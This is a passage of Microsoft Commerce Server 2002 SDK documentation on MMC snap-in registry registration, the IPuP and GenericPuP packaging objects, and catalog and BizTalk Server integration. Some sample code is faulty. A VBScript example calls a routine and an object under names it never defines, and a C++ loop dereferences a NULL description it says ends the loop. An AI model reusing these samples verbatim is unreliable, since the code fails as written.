Constant: CWebServerNodeItemGUID_NODETYPE
GUID: 2CB5E907-F79A-4b11-AD24-9E3808B7B387
Constant: CSnapInGUID_NODETYPE_Resource_NNSE
GUID: A3DF131F-2075-463E-B8DA-74B31365161E


System Registry Modifications

When adding Microsoft Management Console (MMC) extension snap-ins it is necessary to make certain system registry modifications. These include the normal Component Object Model (COM) entries in the HKEY_CLASSES_ROOT registry key, as well as the MMC-specific entries in the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MMC\\NodeTypes and ...\\MMC\\SnapIns registry keys.

If the new extension snap-in will have child nodes exposed in the scope pane, it is also necessary to add the GUID corresponding to the new extension snap-in to the Extension/NameSpace key of the appropriate NodeType key in the system registry.

Depending on whether the new extension snap-in corresponds to a global resource or a site resource, it will be necessary to modify either the "Microsoft Commerce Server 2002 Enterprise Edition Group Resources" or the "Microsoft Commerce Server 2002 Enterprise Edition Resource" NodeType registry entry. For more information about the corresponding NodeType GUIDs, see the first two rows in the table in Commerce Server Manager NodeType GUIDs.

The Site Status sample in the Commerce Server 2002 Software Development Kit (SDK) performs these registry modifications in the file Registry.cpp, and uses some data type information provided in the file Extend.h. The following code excerpt shows the source code that performs these modifications. The excerpt shows a pre-initialized array of EXTENDER_NODE structures, defined in the file Extend.h, and designed to perform a name space extension of the site resources, due to the GUID supplied for the guidNode structure member (unique aspect shown in bold font). To make the same system registry extension for an extension snap-in being added as a global resource, the first component of that GUID would have to be set to 0x1503a832. (The array in the following code excerpt contains one actual entry and one dummy entry, the latter of which is used for loop termination.)

// List all of the nodes that we extend.
EXTENDER_NODE _NodeExtensions[] = {
    {
        // Extension type:
        NameSpaceExtension,
        // "Microsoft Commerce Server 4.0 Site Resources" guid:
        {0x1503a834, 0x6945, 0x11d2,
            { 0xaf, 0xf4, 0x0, 0xc0, 0x4f, 0x86, 0x70, 0xe4 } },
        // CLSID_COpenCloseExtension guid:
        {0xa5ce2b5a, 0x2259, 0x485d,
            { 0x9c, 0x11, 0xa0, 0x20, 0xb7, 0xc3, 0x8e, 0x2f } },
        // Description:
        _T("Commerce 2000 Resource Extension Open/Close sample")
    },

    // Dummy entry for loop termination logic.
    {DummyExtension, NULL, NULL, NULL}
};

The following excerpt shows the for loop that processes the array shown in the previous excerpt. It adds the GUID and description stored in the guidExtension and szDescription structure members as a key/value pair in the Extensions/NameSpace key of the MMC/NodeType entry corresponding to the GUID stored in the guidNode structure member.

Note that the loop terminates when a NULL description is found, as is the case in the last element in the array.

    // register each of the node extensions
    for (pNodeExtension = &(_NodeExtensions[0]) ;
         *pNodeExtension->szDescription ;
         pNodeExtension++)
    {
        hr = StringFromCLSID(pNodeExtension->guidNode, &wszExtendCLSID);
        _tcscpy(szKeyBuf, _T("SOFTWARE\\Microsoft\\MMC\\NodeTypes\\"));
        _tcscat(szKeyBuf, wszExtendCLSID);

        switch (pNodeExtension->eType) {
        case NameSpaceExtension:
            _tcscat(szKeyBuf, _T("\\Extensions\\NameSpace"));
            break;
        default:
            break;
        }

        // Create and open key and subkey.
        long lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE ,
            szKeyBuf,
            0, NULL, REG_OPTION_NON_VOLATILE,
            KEY_ALL_ACCESS, NULL,
            &hKey, NULL) ;

        if (lResult != ERROR_SUCCESS)
        {
            return FALSE ;
        }

        hr = StringFromCLSID(pNodeExtension->guidExtension,
                             &wszNodeCLSID);
        assert(SUCCEEDED(hr));

        // Set the Value.
        if (pNodeExtension->szDescription != NULL)
        {
            RegSetValueEx(hKey, wszNodeCLSID, 0, REG_SZ,
                          (BYTE *)pNodeExtension->szDescription,
                          (_tcslen(pNodeExtension->szDescription)+1)
                                                     *sizeof(_TCHAR));
        }

        RegCloseKey(hKey) ;

        CoTaskMemFree(wszExtendCLSID);
        CoTaskMemFree(wszNodeCLSID);
    }


Working with the Clipboard

Certain Clipboard formats must be supported by Microsoft Management Console (MMC) snap-ins so that they can pass data back and forth with the MMC framework. The Site Status MMC Extension Snap-In sample in the Commerce Server 2002 Software Development Kit (SDK) illustrates the Clipboard formats that must be supported. This sample defines the required Clipboard formats within four files: compdata.h, compdata.cpp, dataobj.h, and dataobj.cpp. The header files contain the definitions of the formats, and the source files show the registration of those formats. Search these files for the string "clipboard" to find the pertinent code.

The following code excerpt shows how to retrieve the name of the site associated with the sample extension snap-in from the Clipboard and place it into the bstrSiteName variable.

    // Get the site name for this resource from
    // the clipboard "CCF_MSCSAPPNAME" in global memory
    stgmedium.hGlobal = GlobalAlloc(0, sizeof(BSTR));
    if (NULL == stgmedium.hGlobal)
        return GetLastError();
    hr = lpDataObject->GetDataHere(&formatetc, &stgmedium);
    if (!FAILED(hr))
        bstrSiteName = *((LPCOLESTR *)stgmedium.hGlobal);
    GlobalFree(stgmedium.hGlobal);


Packaging Other Data

A resource that has a custom user interface and stores its configuration data somewhere other than the Administration database has the following characteristics:

  • The configuration data is stored somewhere other than the Commerce Server Administration database, such as the system registry, an initialization (.ini) file, or perhaps in a different database.
  • In order to use Commerce Server Site Packager, new resources that are integrated at this level must include a Component Object Model (COM) object that implements the IPuP interface.
  • The configuration data must be administered using a custom Microsoft Management Console (MMC) snap-in extension. This is because the configuration data is not stored in the Administration database, so it is not possible to use the Generic Resource dialog box.
  • Because the configuration data is not stored in the Administration database, it cannot be accessed and altered programmatically using the Commerce Server administration objects GlobalConfig, SiteConfig, and SiteConfigReadOnly. For more information about these objects, see GlobalConfig Object, SiteConfig Object, and SiteConfigReadOnly Object, respectively. You must develop some other solution for programmatic access to the configuration data.
  • It is possible to provide a mixed solution, where some relatively simple configuration data is stored in the Administration database, allowing access through the Commerce Server administration objects, and where other more complex data is stored in other databases or facilities. Many of the resources included with Commerce Server work this way.

This section provides additional details about implementing the IPuP interface, allowing the resource to pack it own data for deployment.

This section contains:

  • Exporting Data to the Package. Provides additional details about the process of exporting data into a site package using Commerce Server Site Packager.
  • Importing Data from the Package. Provides additional details about the process of importing data from a site package.
  • Using the GenericPuP Object. Provides information about a general-purpose object that implements the IPuP interface, which can be used in certain circumstances.


Exporting Data to the Package

You can develop a custom resource in such a way that it can place arbitrary data, in the form of one or more files, in a site package and have those files unpacked on a different computer. In order for this arbitrary set of files to be placed in a site package, a custom resource must include a Component Object Model (COM) object that implements the Export method of the IPuP interface. Commerce Server Site Packager calls this method, providing the name of a temporary file or folder where the custom resource must place the file(s) to be packaged. Once the Export method returns, Commerce Server Site Packager will add the file (or files) to the package.

The ProgID of the object that implements the IPuP interface must be placed into the s_ProgidSnapIn column of the SystemProps table in the Administration database (the ProgID is also added to the s_ProgIDSnapIn column of the Resources table when the SiteConfig object is used to migrate configuration values). When the Commerce Server Site Packager encounters this ProgID in the course of packaging the site, it will instantiate the corresponding object and call the Export method of its IPuP interface.

For more information about the Export method, see IPuP::Export.


Importing Data from the Package

You can develop a custom resource in such a way that it can place arbitrary data, in the form of one or more files, in a site package and have those files unpacked on a different computer. In order for this arbitrary set of files to be retrieved from a site package, a custom resource must include a Component Object Model (COM) object that implements the Import method of the IPuP interface. Commerce Server Site Packager calls this method, providing the name of a temporary file or folder where the Commerce Server Site Packager has placed the file(s) to be unpacked. The Import method must do something with this file or files before returning, such as moving them to another location or moving their contents into a database. Once the Import method returns, Commerce Server Site Packager will delete the file (or files) from the temporary location.

The ProgID of the object that implements the IPuP interface must be placed into the s_ProgidSnapIn column of the SystemProps table in the Administration database (the ProgID is also added to the s_ProgIDSnapIn column of the Resources table when the SiteConfig object is used to migrate configuration values). When Commerce Server Site Packager encounters this ProgID in the course of unpacking the site, it will instantiate the corresponding object and call the Import method of its IPuP interface.

For more information about the Import method, see IPuP::Import.

If the custom resource being unpacked is a site-level reference to a global resource, the Commerce Server Site Packager will call the CreateGroupResource method of the same IPuP interface before calling the Import method. This will provide the custom resource with the opportunity to create the global resource and return its name so that the site-level reference can refer to it. For more information about the CreateGroupResource method, see IPuP::CreateGroupResource.


Using the GenericPuP Object

The GenericPuP object is one of several objects included with Commerce Server that implement the IPuP interface. These objects are used to assist in packaging the existing Commerce Server resources. Specifically, the GenericPuP object is used to package the data associated with three resources: Campaigns, Transactions, and Transaction Config.

These three resources have generic requirements in terms of how their data gets packaged, and if your custom resource has similar, generic requirements, you may be able to use the GenericPuP object instead of developing a new object that implements the IPuP interface.

Note

  • The SDK sample "PuP Resource" in the SDK\Samples\Management folder is actually a version of the GenericPuP object. You might find it useful to study the source code or to modify it for your own purposes.

The GenericPuP object is designed to be able to package and unpack custom tables and data in a single SQL Server database. Several parameters control the execution of the GenericPuP object, including the names of the tables to package, and the names of SQL schema scripts to be executed when unpacking or deleting the custom data. These parameters exist as database entries in the Administration database. The remainder of this topic provides details about those entries and how they can be established.

This topic contains:

  • GenericPuP Database Entries
  • Parameter Usage During Processing
  • Loading GenericPuP SQL Scripts

GenericPuP Database Entries

In order to specify the use of the GenericPuP object, you must assign its ProgID (Commerce.GenericPup) to the s_ProgIDPUP column of appropriate row in the Resources table of the Administration database. Then you must establish the remaining database entries that will control the operation of the GenericPuP object for a particular resource: the Connection String, and the GenericPuP parameters.

Connection String

When the GenericPuP object is invoked to export or import data for a custom resource, it uses the passed resource name to look for the specific connection string in the set of properties associated with that resource. This connection string uses a pre-defined naming convention so that the GenericPuP object can find the connection string amongst the other properties associated with the custom resource. The syntax for the connection string propery name is: "connstr_db_<ResourceName>" where <ResourceName> is the name of the resource for which it is being invoked. There can be only one such connection string, so the GenericPuP object can only package or unpack data from one database.

Note

  • If you look in the s_PropertyName column of the ResourceProps table in the Administration database, you will see the three connection strings connstr_db_Transactions, connstr_db_TransactionConfig, and connstr_db_Campaigns, corresponding to the three standard resources that use the GenericPuP object.

GenericPuP Parameters

After retrieving the connection string, the GenericPuP object will retrieve its parameters from the s_PupParam1, s_PupParam2, and s_PupParam3 columns of the row for the corresponding resource in the Resources table of the Administration database. These three parameters contain the following information:

s_PUPParam1
Contains a comma-delimited list of names of the tables to be packaged and unpacked for the resource.

For example, the table list for the Transactions resource is "TransDimension,TransCategory".

s_PUPParam2
Contains a comma-delimited list of the names of the SQL schema scripts to execute when importing the resource. These scripts are used to create the proper schema prior to importing the data.

For example, the schema script list for the Transaction Config resource is "AppConfig,TaxAndShipping".

s_PUPParam3
Contains a comma-delimited list of the names of the SQL scripts to execute when deleting the resource. If the Delete method implemented by the GenericPuP object is invoked, it will execute these scripts to clean up the database tables associated with the corresponding resource.

For example, the delete script list for the Campaigns resource contains the single script name: "SchemaDrop".

The scripts associated with the parameters s_PUPParam2 and s_PUPParam3 exist in the txt_script column of the pupdbscripts table in the Administration database. The u_scriptname column contains the name of the script as it appears in the list specified by this parameter, and the other two columns in that table, iSiteID and iResourceID, exist to prevent script name clashes between different resources.

The SiteConfig object implements three methods, GetSQLScript, PutSQLScript, and DeleteSQLScript, for managing the scripts stored in the pupdbscripts table. For more information about these three methods, see SiteConfig.GetSQLScript, SiteConfig.PutSQLScript, and SiteConfig.DeleteSQLScript, respectively.

For examples of how to set up your resource configuration to use the GenericPup object see the file SiteCreate.vbs in the \SDK\Samples\Sitecreate folder of your Commerce Server installation directory. Follow the same steps as used by the three resources in that file that use the GenericPup object: Campaigns, Transactions, and Transaction Config.

If you are going to be deal with multiple files via the Import and Export APIs of the IPup object you need to set the f_PupFlags flag on the resource when you add the data of that resource to the systemprops table. A flag value of 1 signals directory and a 0 signals file. With a 1, the path passed to Export is an actual temp directory. The Export function is expected to place all of the data files it requires packed up into that directory. When the path is passed to Import (on the other end of the chain of events) it will be a directory containing all of those files. If f_PupFlags is 0 then the path passed is a complete file path and the Export API should open and write its data to be packed to this file. Import will get a temp file back in the path parameter that contains this data.

Parameter Usage During Processing

When the Export method implemented by the GenericPuP object is invoked to package data, it performs the following steps:

  1. Packages all of the data in the tables specified in the s_PUPParam1 column.
  2. Packages all of the SQL scripts specified in s_PUPParam2 and s_PUPParam3 columns.

When the Import method implemented by the GenericPuP object is invoked to unpack data, it performs the following steps:

  1. Executes the SQL schema scripts specified in the s_PUPParam2 column.
  2. Unpacks the data in the tables specified by the s_PUPParam1 column. The scripts executed in step 1 must have already established the appropriate tables and schema.

When the Delete method or the DeleteGroupResource method implemented by the GenericPuP object is invoked to delete resource data, it performs the following steps:

  1. Executes the SQL schema scripts specified in the s_PUPParam3 column.
  2. Deletes all scripts associated with the current resource from the pupdbscripts table of the Administration database.

Loading GenericPuP SQL Scripts

The following sample code demonstrates one way to load a SQL script from a text file into the txt_script column of the pupdbscripts table of the Administration database. This sample also establishes appropriate values in the other columns. This sample uses the PutSQLScript method of the SiteConfig object to perform the actual database manipulation:

' Define a routine that takes the following four parameters:
' 1) A reference to a SiteConfig object,
' 2) The name of a resource,
' 3) The name of a text file containing the SQL script to load, and,
' 4) The name by which the script will be known in the Admin database.
Sub LoadResourceDBScript(oSiteConfig, sResource, _
                         sFilePath, sScriptName)

    ' Declare variables and constants for text file access...
    Dim oFS, oFile, sScriptContents
    Const ForReading = 1
    Const TristateUseDefault = -2

    ' Read the script from the specified text file...
    Set oFS = CreateObject("Scripting.FileSystemObject")
    Set oFile = oFS.OpenTextFile(sFilePath, ForReading, _
                                 False, TristateUseDefault)
    sScriptContents = oFile.ReadAll()
    oFile.Close
    Set oFile = Nothing

    ' Use the passed SiteConfig object to create
    ' (or overwrite) a row in the pupdbscripts table...
    oSiteConfig.PutSQLScript sResource, sScriptName, _
                             sScriptContents
End Sub

' The following code calls the routine defined previously...

' Create the SiteConfig object...
Dim oSiteConfig
Set oSiteConfig = CreateObject("Commerce.SiteConfig")

' Initialize variables for the other
' parameters to LoadResourceScript...
Dim sResource, sFilePath, sScriptName
sResource = "Transactions"
sFilePath = "C:\temp\Requisition.sql"
sScriptName = "Requisition"

' Call the routine LoadResourceScript, previously defined...
LoadResourceScript oSiteCfgAdmin, sResource, _
                   sFilePath, sScriptName


Other Sources of Information About Microsoft Management Console

The Microsoft Developer Network (MSDN) online Web site includes many topics that discuss various aspects of Microsoft Management Console (MMC) snap-ins and extension snap-ins.

Building your extension snap-in using the Active Template Library (ATL) can simplify and speed development because the ATL will take care of a lot of the details for you.


Integrating a Third-Party Product Catalog

There are two general strategies for using existing product catalog data in Commerce Server 2002. You can migrate the data into the Commerce Server Product Catalog System, or you can integrate your existing or third-party catalog system with Commerce Server 2002 through its application programming interface (API), replacing the Product Catalog System. Choosing between these two approaches depends on a number of factors.

Integrating an existing catalog system with Commerce Server 2002 requires a programming effort to modify or replace components of Commerce Server and possibly components of your existing catalog system.

The most straightforward approach to data migration requires conversion of the existing data to Extensible Markup Language (XML) or comma-separated value (CSV) format. The difficulty of this conversion depends on the format and integrity of your existing data. The size and complexity of your product catalog data has a direct effect on the length of time needed to process the conversion. There are other approaches to migrating your existing product catalog data. You might decide to pursue a Microsoft BizTalk Server 2000 or Data Transformation Services (DTS) integration solution, or you might decide to transmit your product catalog data by using other protocols. The option you choose depends on your available resources and expertise. For more information about importing catalog data, see Importing an XML Catalog File and Importing a CSV Catalog File.

Integrating a third-party catalog with Commerce Server 2002 involves providing a pipeline component that does the work of the Commerce Server QueryCatalogInfo pipeline component for your existing catalog, and integration with the following Commerce Server components:

  • Integrating Third-Party Catalogs with Campaigns. Describes how to provide product data from your external product catalog to the Marketing component for evaluation.
  • Integrating Third-Party Catalogs with Baskets. Describes how the Basket component receives detailed product information from the product catalog through the QueryCatalogInfo component, and how you replace this component with a pipeline component that will provide information from your existing catalog.
  • Integrating Third-Party Catalog Applications. Describes how to replace Commerce Server 2002 Catalog API calls in the Solution Sites in order to use them with your existing catalog system.
  • Integrating Third-Party Catalogs with Business Desk Catalog Modules. Describes how to modify Commerce Server Business Desk, which is a Web-based management system for the Product Catalog System, in order to use it to manage your existing catalog system.


Integrating Third-Party Catalogs with Campaigns

The ExpressionBuilder HTML Component (HTC) is used within the Commerce Server Business Desk Campaigns category to build expressions used for applying targeted discounts to products in your catalog. You use expressions to identify products that are eligible for discounts or are awarded by a discount. These expressions are named and saved in an XML representation in an expression store. Third-party catalogs must provide an XML profile that describes to the ExpressionBuilder the properties of products in the catalog.

You must replace the QueryCatalogInfo pipeline component with a functional equivalent that runs against your custom catalog system. Use this pipeline component to populate the Order dictionary with data from your external catalog in order to evaluate the expressions.

See Also

ExpressionBuilder

ExpressionEval Object


Integrating Third-Party Catalogs with Baskets

When a user places an item in a basket, the product information for that item is transferred from the catalog database to the basket by the QueryCatalogInfo pipeline component. You must provide a pipeline component that will transfer product information from your existing catalog to the basket.

Note

  • If your existing catalog system is based on database queries and tables, you might be able to use the QueryProdInfoADO pipeline component, depending on the complexity of your data structure.

The substitute component must copy appropriate catalog data to each line item in the basket based on a product key (for example, the SKU). When the component copies this catalog data, it should prefix each written dictionary key with "_product_". For example, the description of the product would be copied to item._product_description. Typically, at a minimum, this written data should include _product_list_price. It could also include descriptions, tax codes, product weight, and so on.

If the SKU/key is not found in the catalog system, the component should write the key delete with a value of 1 onto the line item. The RequiredProdInfo pipeline component then handles the error condition.


Integrating Third-Party Catalog Applications

The Commerce Server Solution Sites interface directly with the Commerce Server Catalog Management System API in a few places. If these applications are to be used with an existing catalog system, you must replace all calls to the Commerce Server Catalog API with calls to the Catalog API from the third-party catalog.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Integrating Third-Party Catalogs with Business Desk Catalog Modules

The Commerce Server Business Desk modules for managing a catalog are specific to the Commerce Server Catalog Management System. You can write alternative Business Desk catalog management modules to interface with your existing catalog, either to replace or to supplement the management interface or tools that it already has.

For more information, see Building Business Desk Modules.


Integrating with BizTalk Server

By integrating Microsoft BizTalk Server 2000 or later editions with your Microsoft Commerce Server 2002 installation, you can contract with vendors to receive catalogs of their products, and then fill orders for products that are sold on your site. Although it is not required that both you and your vendors install BizTalk Server, this section explains how to set up BizTalk Server systems for both you and your vendors.

This section provides details regarding areas of integration for existing Commerce Server 2000 sites.

For detailed BizTalk Server deployment instructions and information about integrating BizTalk Server with Commerce Server 2002 sites, see the file <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002_BizTalk Deployment.doc. This file is also available in the <%systemdrive%>\Inetpub\wwwroot\Retail2002B2B folder after the site has been unpacked.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

This section contains:

  • About BizTalk Server. Describes the components of Commerce Server that work with BizTalk Server and provides an overview of steps for orders and catalog exchange.
  • Product Catalog Integration. Describes how BizTalk Server can be used to import product catalogs from various vendors.
  • Order Form Integration. Describes how an order form can be divided into multiple purchase orders (POs) by vendor, and how BizTalk Server can be used to send those POs to their corresponding vendors.
  • Configuring Commerce Server to Work with BizTalk Server. Explains how to configure Commerce Server to integrate it with BizTalk Server.
  • Setting Up the Source Server. Explains how to set up source and sender organizations for catalog or purchase order exchange.
  • Setting Up the Destination Server. Explains how to configure the destination and receiver organizations on BizTalk Server.
  • Setting Up Your Catalogs for BizTalk Server. Explains how to configure BizTalk Server for catalog exchange.

For additional information about integrating BizTalk Server and Commerce Server, see the Microsoft BizTalk Server documentation and the Commerce Server 2000 Resource Kit.

For programming samples, see "Designing Solutions with BizTalk Server" in the BizTalk Server Software Development Kit (SDK). For example, the SDK includes samples for dividing orders by vendor, transforming orders in Extensible Markup Language (XML), and using a BizTalk Server component to send orders to BizTalk Server.


About BizTalk Server

BizTalk Server provides a gateway for sending business documents between your company and your trading partners (also known as vendors). For example, if your company uses BizTalk Server, you can trade catalogs, orders, documents, and other electronic forms with your trading partners. BizTalk Server manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

You can use BizTalk Server and Commerce Server together to process orders that users place on your Commerce Server Web site. For example, assume you are selling computer hardware on your site. Your company manufactures some of this hardware, and some of it is supplied to you by trading partners. Using BizTalk Server, you can create a trading agreement for each trading partner who supplies the hardware that you sell on your site. When a user visits your site and places an order for one of the products supplied by a trading partner, Commerce Server processes the order and sends it to BizTalk Server, and then BizTalk Server sends the order to the trading partner to be filled.

The Solution Sites for Microsoft Commerce Server are designed to integrate with Microsoft BizTalk Server in the following two ways:

  • Import/export of product catalogs
  • Multi-vendor order form processing

BizTalk Server integration is configured by using Commerce Server Manager. These configuration settings are used to conditionally execute code within the Solution Sites that implements the integration with BizTalk Server.

If you are integrating Commerce Server and BizTalk Server for developmental purposes, install Commerce Server and BizTalk Server on the same computer. However, if you are integrating Commerce Server and BizTalk Server for production, it is recommended that you install BizTalk Server on a separate computer. For detailed deployment information about integrating Commerce Server and BizTalk Server, see Commerce Server Solution Sites.

If you are running Commerce Server and BizTalk Server on the same computer, you must run BizTalk Server setup on the Commerce Server computer to install the BizTalk tools. For information about installing the BizTalk Server tools, see BizTalk Server Help.

The Commerce Server 2002 International Retail site package contains a Commerce Server business-to-consumer sample site that can send orders to the included sample business-to-business Web service by using BizTalk Server. For detailed deployment information, see the file <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002_BizTalk Deployment.doc. This file is also available in the <%systemdrive%>\Inetpub\wwwroot\Retail2002B2B folder after the site has been unpacked.

Catalogs for Multiple Vendors

Vendor ID

Using BizTalk Server to Exchange Catalogs

Sending Orders to BizTalk Server

Processing Received Orders

Catalogs for Multiple Vendors

Before you can use BizTalk Server to transmit orders to your trading partners, you must first organize the catalogs of those trading partners whose products will appear on your site. Each of your trading partners can send you one or more catalogs of their products. Depending on how you set up your site, you can present these catalogs on your Web site as one catalog, or as multiple catalogs. Maintaining multiple catalogs is helpful when, for example, you are targeting several groups of users with different catalog content, such as senior operations management and hobbyists.

Vendors send you their catalogs by using e-mail or BizTalk Server, and then you import the catalog to your Commerce Server Catalogs database by using the Catalog Editor module in Commerce Server Business Desk. For information about importing catalogs, see Importing an XML Catalog File and Importing a CSV Catalog File.

Vendor ID

When you set up an agreement with a vendor, the vendor ID is automatically made available to Commerce Server. The vendor ID is the organization name that you specify for the vendor when you create a destination organization for the source server. For more information, see Creating Source and Destination Organizations on the Source Server.

Commerce Server displays the vendor ID in Business Desk. It displays those trading partners (organizations) that support the same document type as your organization, and thus have compatible document routing. You can then use Business Desk to associate the vendor ID with the catalog.

More than one catalog can be associated with a given vendor. You can also specify a vendor at the product level; however, if you do this you must also customize the _additem.asp page (if you are developing with the Retail Solution Site).

If you name a vendor "Default," Commerce Server recognizes your own site as the vendor. For instructions about adding the vendor ID to a catalog, see Setting Up Your Catalogs for BizTalk Server.

Notes

  • When a user orders an item from your Web site, the item must exist in the catalog of the destination organization. If the destination organization does not have the item in its catalog, BizTalk Server will not be able to process the purchase order on the destination server. It will write an error message to the event log on the destination server.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

Using BizTalk Server to Exchange Catalogs

Using BizTalk Server, you can exchange catalogs that are used by Commerce Server with your trading partners. After a catalog is converted to an Extensible Markup Language (XML) document, it is processed by BizTalk Server to save the XML catalog file in a shared folder on the destination computer on which Commerce Server is installed.

After an XML catalog file is saved on the destination computer, you use Business Desk to import the catalog from the shared folder on the destination computer and then publish the catalog to the Web site. You can edit the newly imported catalog, if necessary, by using the Catalog Editor module in Business Desk to make any changes. For information about importing a catalog by using Business Desk, see Importing an XML Catalog File and Importing a CSV Catalog File.

You can set up BizTalk Server to automatically incorporate an incoming catalog to Commerce Server. For information about automating this process by using a BizTalk Server Application Integration Component (AIC), see BizTalk Server Help.

The following figure shows how an XML catalog file is processed.

Sending Orders to BizTalk Server

The following figure shows how Commerce Server processes an order and then sends it to BizTalk Server.

Users perform the following steps to create and process an order:

  1. Users add items to their baskets.

    Commerce Server reads the Commerce Server database and retrieves the vendor name for the products.

  2. Users proceed to checkout, and the Commerce Server Checkout pipeline processes the order.

    For each line item (product) in the order, the Splitter component indicates whether that product is supplied by your company or by a vendor with whom you have a trading agreement. The Splitter component creates a list of the vendors, and attaches it to the order form.

  3. Commerce Server determines whether the BizTalk Options property (in the App Default Config resource) is set to 1.

    If the BizTalk Options property is set to 1, Commerce Server reads the list of vendors and bundles the line items for each vendor.

  4. Commerce Server converts the order form into one or more XML documents to be sent to BizTalk Server.

    When Commerce Server converts the order form (using the XMLTransforms process), it creates one XML document for each vendor.

    To convert the order, Commerce Server uses the schema called POSchema.xml, which is associated with the site. If you add one or more fields to the order form, by default Commerce Server does not include the new fields in the XML document that is sent to BizTalk Server. To add the new fields on the order form, you must edit POSchema.xml, an XDR (XML Data-Reduced) format file, and re-associate the XML file with the document in BizTalk Server. You must also transfer the XML file to BizTalk Server and re-associate it. You can edit POSchema.xml by using BizTalk Editor.

  5. Commerce Server sends the XML documents to BizTalk Server.

Processing Received Orders

You can submit orders to BizTalk Server in several different ways, depending on your needs. You can use mapping to submit orders, you can use a variety of protocols to submit orders, or your trading partner can create a Commerce Server site or a non-Commerce Server site to receive the submitted orders.

If you choose to have your trading partner set up a Commerce Server site to receive orders, you can set up the site by using the _recvpo.asp page that receives XML documents from BizTalk Server. When an XML document is received by _recvpo.asp, the XMLTransforms process is started and converts the XML document back to an order form. Commerce Server then runs a pipeline on the order form. After the pipeline processes the order form, the order is saved to the Commerce Server database. By using _recvpo.asp, you can use Commerce Server objects to redirect the XML to your order management system.

The following figure shows how an XML document is sent from your BizTalk Server installation and processed by the Commerce Server site of the vendor.

You can also set up Commerce Server to process and send order forms to a queue, and then set up either your BizTalk Server (or the BizTalk Server at the vendor installation) to poll the queue. If you use this configuration, you can install BizTalk Server and Commerce Server on separate servers. The following figure shows this configuration.

A figure that shows how you can use BizTalk Server and Message Queuing

See Also

Integrating with BizTalk Server

Programmer's Reference

Splitter


Product Catalog Integration

Product catalog integration is the process of offering products from different vendor catalogs for sale on a Web site. Another scenario that is conceptually similar concerns a company providing access to an office supply catalog on their internal Web site, allowing employees to order their own office supplies. This process needs to be considered from the perspective of the recipient of a vendor catalog as well as from the perspective of the vendor providing the catalog.

Importing Catalogs in the Commerce Server XML Format

Generating Catalogs in the Commerce Server XML Format

Creating Catalog XDR Schema

Importing Catalogs in the Commerce Server XML Format

The process of importing a catalog is normally performed in the Catalog Editor module of Commerce Server Business Desk. For more information about importing a catalog in the proper XML format, see Importing an XML Catalog File. However, a catalog in the proper Extensible Markup Language (XML) format can be imported into the Commerce Server Catalogs database programmatically by using the ImportXML method of the CatalogManager object. For more information about this method, see CatalogManager.ImportXML.

To validate that your catalog XML file conforms to the proper schema:

  1. Edit the second line in your catalog XML file so that it references the catalog XML Data-Reduced (XDR) file provided in the Commerce Server root installation folder. For example:

    <MSCommerceCatalogCollection xmlns="x-schema:C:\Program Files\Microsoft Commerce Server\CatalogXMLSchema.xml">

  2. Open your catalog XML file in Internet Explorer. Internet Explorer will validate that the XML file conforms to the specified schema and show diagnostic errors in the event that it does not conform.

Note

  • These steps only confirm that the catalog XML file conforms to the XDR schema. It does not validate whether the catalog schema, such as product, category, and property definitions, are compatible with any pre-existing catalog schema, or whether products and categories in the catalog XML file are consistent with the catalog schema defined in that XML file. This validation occurs when the file is imported, and any problems found are written to the event log.

If Microsoft BizTalk Server is installed on the same computer as Commerce Server, you can use an Application Integration Component (AIC), as defined by BizTalk Server, to automate the process of importing XML catalogs into Commerce Server as they arrive from vendors through BizTalk Server. For more information about creating an AIC, see the BizTalk Server documentation.

Generating Catalogs in the Commerce Server XML Format

A product catalog must exist in the XML format expected by Commerce Server in order to be successfully imported. If the vendor supplying the catalog is also using Commerce Server as the source of the catalog, as well as using BizTalk Server to deliver the catalog, the process is quite simple. A business manager can select a catalog and send it to a trading partner. For more information about sending a catalog to a trading partner, see Sending a Catalog to a Trading Partner.

If you are a vendor who does not use Commerce Server as the source of your catalog, you can still use BizTalk Server to deliver your product catalog to Commerce Server. You might even be able to take advantage of the Mapper feature in BizTalk Server, using the Looping functoid, to convert your product catalog from its native format to the XML format expected by Commerce Server. For more information about using the Mapper feature and the Looping functoid to convert the catalog to the proper XML format, look for "Commerce Server catalogs" in the BizTalk Server documentation.

If vendors are not using BizTalk Server, they will need to devise a proprietary solution to convert their catalog format to the XML format expected by Commerce Server. For more information about this format, see Catalog XML Structures.

Creating Catalog XDR Schema

You must create a catalog XDR schema to enable catalog exchange between Commerce Server 2002 and BizTalk Server. The file CatalogXMLSchema.xml that is installed with Commerce Server 2002 provides backward compatibility with older installations of Commerce Server.

Use the following sample code to create a catalog XDR schema using a connection string to the catalog database:

     Dim oCatalogManager
     FmtXdr = 2
     Set oCatalogManager = CreateObject("Commerce.CatalogManager")
     Call oCatalogManager.Initialize("connection string to the catalog database", true)
     Call oCatalogManager.ExportXml("path of the xml file", ,true, FmtXdr)

Use the following code to create a catalog XDR schema using a product catalog site name:

     Dim oCatalogManager
     FmtXdr = 2
     Set oCatalogManager = CreateObject("Commerce.CatalogManager")
     Call oCatalogManager.Initialize(sitename, false)
     Call oCatalogManager.ExportXml("path of the xml file", ,true, FmtXdr)

For more information, see Catalog XML Structures.


Order Form Integration

Order form integration is the process of splitting an order form into multiple purchase orders and sending them to the relevant vendors by using Microsoft BizTalk Server. The following aspects of this process need to be considered:

  • Associating a Vendor ID with Each Catalog
  • Configuring Commerce Server for Order Form Integration
  • Overview of Processing


Associating a Vendor with Each Catalog

By associating a vendor ID with each product catalog, the vendor for any given product in an order can be determined by identifying the product catalog associated with the product, and then identifying the vendor associated with that catalog. Being able to determine the vendor associated with each product allows Commerce Server to construct purchase orders on a vendor-by-vendor basis, and deliver those purchase orders to the corresponding vendors by using BizTalk Server.

The process of associating vendors with catalogs is typically done manually, using Commerce Server Business Desk. For more information about assigning a vendor to each catalog, see Setting Up Your Catalogs for BizTalk Server.

